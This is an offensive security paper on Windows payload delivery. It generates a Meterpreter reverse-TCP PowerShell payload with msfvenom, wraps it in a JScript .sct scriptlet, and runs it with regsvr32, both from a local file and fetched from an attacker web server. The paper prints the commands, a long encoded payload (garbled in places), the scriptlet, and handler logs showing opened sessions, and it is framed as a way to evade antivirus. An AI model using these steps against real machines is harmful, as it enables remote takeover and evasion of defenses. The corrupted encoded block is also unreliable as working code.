

New Methods of Payload Delivery

MSFVenom

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There are countless ways to deliver your Payload to target system, MSFVenom offers multi payload/OS with file output, this paper focuses on Win OS.

[1] Windows Executables:

We have long list of windows executables, some depended on installed framework, windows welcome the others with no preinstalled framework.

Sample list:

- 1-Winpe - exe
- 2-Vbs
- 3-VBA - MS Office
- 4-Powrsehll
- 5-Javascript
- 6-HTA
- 7-Dll
- 8-MSI
- 9-Jar - Need Java environment
- 10- Python, Perl and Ruby needs preinstalled environment as well

The new method is using MSFVenom to create a payload and emended it files usually not offered as standalone payload in msfvenom.

[2] `regsvr32 .SCT files`

```
→ ~  
→ ~ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.139 lport=4455 -f psh-cmd  
█
```

First thing payloads are different, if the payload doesn't drop files (specially known AV Flagged extension) the stealthier it gets, so I create simple Poweshell payload:

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The Command output:

```
-
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.139 lport=4455 -f psh-cmd
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of psh-cmd file: 6247 bytes
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e 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
```

Now the payload can be used in two scenarios:

- Execute from CMD (or Macro) as file.sct

```
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="PoC"
  classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
  <!-- Proof Of Concept - Casey Smith @subTee -->
  <!-- License: BSD3-Clause -->
  <script language="JScript">
    <![CDATA[
      var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -e
aQBmACgAWw.. the reset");
    ]]>
  </script>
</registration>
</scriptlet>
```

Thanks to @SubTee

Save it as poc.sct
From CMD on target machine:

```
Command Prompt
D:\>regsvr32 /s /u /i:poc.sct scrobj.dll
D:\>
```

The results:

```
msf exploit(handler) >
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (957517 bytes) to 192.168.226.1
[*] Meterpreter session 1 opened (192.168.226.139:4455 -> 192.168.226.1:58631) at 2017-06-09 10:04:52 +0300
```

We've got shell also it can be used Post Exploitation

- Download/Exec poc.sct

The same file can be uploaded to webserver

```
Command Prompt
D:\>regsvr32 /s /u /i:http://192.168.226.139:8000/poc.sct scrobj.dll
D:\>
```

And Finally

```
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (957517 bytes) to 192.168.226.1
[*] Meterpreter session 2 opened (192.168.226.139:4455 -> 192.168.226.1:58771) at 2017-06-09 10:09:33 +0300
msf exploit(handler) >
```

Outro:

This is one way (Thanks to @subTee) for the .SCT file
The method limited to your thinking and understanding
the mechanism of payload/windows

Hopefully in the next paper I will write about new
methods, advanced techniques

Cehck <https://twitter.com/subTee>

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By Zed